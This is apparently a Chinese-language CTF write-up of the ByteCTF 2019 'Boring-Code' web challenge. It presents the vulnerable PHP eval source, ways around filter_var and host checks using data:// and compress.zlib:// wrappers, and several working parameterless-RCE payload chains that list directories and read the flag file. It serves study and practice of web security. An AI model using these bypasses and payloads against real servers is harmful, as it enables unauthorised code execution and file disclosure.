[原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]
简介
原题复现:
考察知识点:无参数命令执行、绕过filter_var(), preg_match()
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
环境复现
目录
www/flag flag文件
www/code/code.php
代码
1 <?php
2 function is_valid_url($url) {
3 //FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
4 if (filter_var($url, FILTER_VALIDATE_URL)) {
5 if (preg_match('/data:\/\//i', $url)) {
6 return false;
7 }
8 return true;
9 }
10 return false;
11 }
12
13
14 if (isset($_POST['url'])){
15 $url = $_POST['url'];
16 if (is_valid_url($url)) {
17 $r = parse_url($url);
18 var_dump($r);
19 if (preg_match('/baidu\.com$/', $r['host'])) {
20 $code = file_get_contents($url);
21 var_dump($code);
22 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
23 if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
24 echo 'bye~';
25 } else {
26 eval($code);
27 }
28 }
29 } else {
30 echo "error: host not allowed";
31 }
32 } else {
33 echo "error: invalid url";
34 }
35 }else{
36 highlight_file(__FILE__);
37 }
审计分析

绕过第一层
1.额外知识增加(如何绕过filter_var和parse_url)
data://text/plain;base64,xxxx
data://baidu.com/plain;base64,xxxx
POST:url=data://baidu.com/plain,echo('1111')
//string(12) "echo('1111')"
0://hua.com;baidu.com //可以绕过FILTER_VALIDATE_URL过滤器
方法一:使用compress.zlib方式
url=compress.zlib://data:@baidu.com/baidu.com?,echo('1111')
方法二:购买一个xxxbaidu.com的域名(未测试)
方法三:百度网盘链接
extension=php_openssl.dll 开启PHPssl扩展
allow_url_include = On 允许引入URL文件
allow_url_fopen = On 允许打开url文件
方法四:使用ftp协议(未测试)
方法五:百度的一个任意跳转漏洞(未测试)
第二层正则绕过
第二层考点是无参数rce
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
import re
f = open('function.txt','r')
for i in f:
function = re.findall(r'/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log',i)
if function == [] and not '_' in i:
print(i)
方法一 phpversion()
sqrt() : 返回一个数字的平方根
tan() : 返回一个数字的正切
cosh() : 返回一个数字的双曲余弦
sinh() : 返回一个数字的双曲正弦
ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";
}}}}}}}}
?>
最终payload:
url=compress.zlib://data:@baidu.com/baidu.com?,echo(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
参考学习:http://www.guildhab.top/?p=1077
https://xz.aliyun.com/t/6737
方法二 localtime()+localeconv()
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
scandir() 列出目录中的文件和目录。
end() 将内部指针指向数组中的最后一个元素,并输出。
readfile() 输出一个文件
current() 返回数组当前单元
readfile(end(scandir('.')));
pos(localeconv())
readfile(end(scandir(pos(localeconv()))));
chdir()函数改变当前的目录
next()函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的".."
chdir(next(scandir(pos(localeconv()))));
localtime(timestamp,is_assoc);取得本地时间
timestamp 可选,规定Unix时间戳 如未规定则默认time()
is_assoc 可选 规定返回关联数组还是索引数组 如果FALSE则返回索引 默认False
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
参考学习:https://xz.aliyun.com/t/6316
方法三 if()
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
[原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]的更多相关文章
- [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]
简介 原题复现: 考察知识点:无参数命令执行 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...
- [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)
简介 原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...
- [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)
简介 原题复现: 考察知识点:无参数命令执行.Fuzz 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...
- [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]
前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...
- [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)
简介 原题复现: 考察知识点:SQL注入(报错注入,绕过过滤) 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
随机推荐
- Python之dict字典详解
Python内置了字典:dict的支持,dict全称dictionary,在其他语言中也称为map,字典是另 一种可变容器模型,且可存储任意类型对象.具有极快的查找速度. 字典是一种通过名字或者关键字 ...
- MVC单文件上传
前言 现在来写下最基础的单文件上传,完成后可以扩展成各种不同的上传方式 HTML <input id="Input_File" type="file" / ...
- C#Socket通讯(2)
前言 前面已经把游戏的服务端UI搭起来来了,现在需要实现的就是编写服务端控制器与客户端的代码,实现服务端与客户端的数据传输,并将传输情况显示在服务端的UI上 服务端控制器完整代码 private st ...
- 第1天|12天搞定Python网络爬虫,吃里爬外?
人力资源部漂亮的小MM,跑来问我:老陈,数据分析和爬虫究竟是关系呀?说实在的,我真不想理她,因为我一直认为这个跟她的工作关系不大,可一想到她负责我负责部门的招聘工作,我只好勉为其难地跟她说:数据分析, ...
- 支持向量机(SVM)必备概念(凸集和凸函数,凸优化问题,软间隔,核函数,拉格朗日乘子法,对偶问题,slater条件、KKT条件)
SVM目前被认为是最好的现成的分类器,SVM整个原理的推导过程也很是复杂啊,其中涉及到很多概念,如:凸集和凸函数,凸优化问题,软间隔,核函数,拉格朗日乘子法,对偶问题,slater条件.KKT条件还有 ...
- 蒲公英 · JELLY技术周刊 Vol 27: 平平无奇 React 17
蒲公英 · JELLY技术周刊 Vol.27 这个热闹的十月终于要走到尾声,React 17 历经 4 个 RC 版本之后,也于数天前正式发布了,而同在几天前发布的 CRA 4.0 也已经完成了 Re ...
- c语言创建dll以及使用
0x01. declspec(dllexport)创建导出dll 笔者这边使用vs 2015,但是性质都一样的 新建项目 -> Win32控制台应用程序 -> dll 这时候就创建了一个项 ...
- python中的类方法,实例方法和静态方法的区别
类方法是类的方法,在定义的时候要在上方加上一个@classmethod装饰器来进行装饰,形参是cls,类和实例都可以取调用类方法: 实例方法是实例对象方法,只有实例可以调用,类是不能调用的,形参是se ...
- CodeForces 1408I Bitwise Magic
题意 给定三个整数 \(n,k,c\) 和一个长度为 \(n\) 的序列 \(a\),保证 \(a_i\) 互不相同.可以操作 \(k\) 次,每次随机选择一个 \(a_i\) 变成 \(a_i-1\ ...
- STM32入门系列-创建寄存器模板
介绍如何使用 KEIL5 软件创建寄存器模板, 方便之后使用寄存器方式来操作STM32开发板上的LED,让大家创建属于自己的寄存器工程模板. 获取工程模板的基础文件 首先我们在电脑任意位置创建一个文件 ...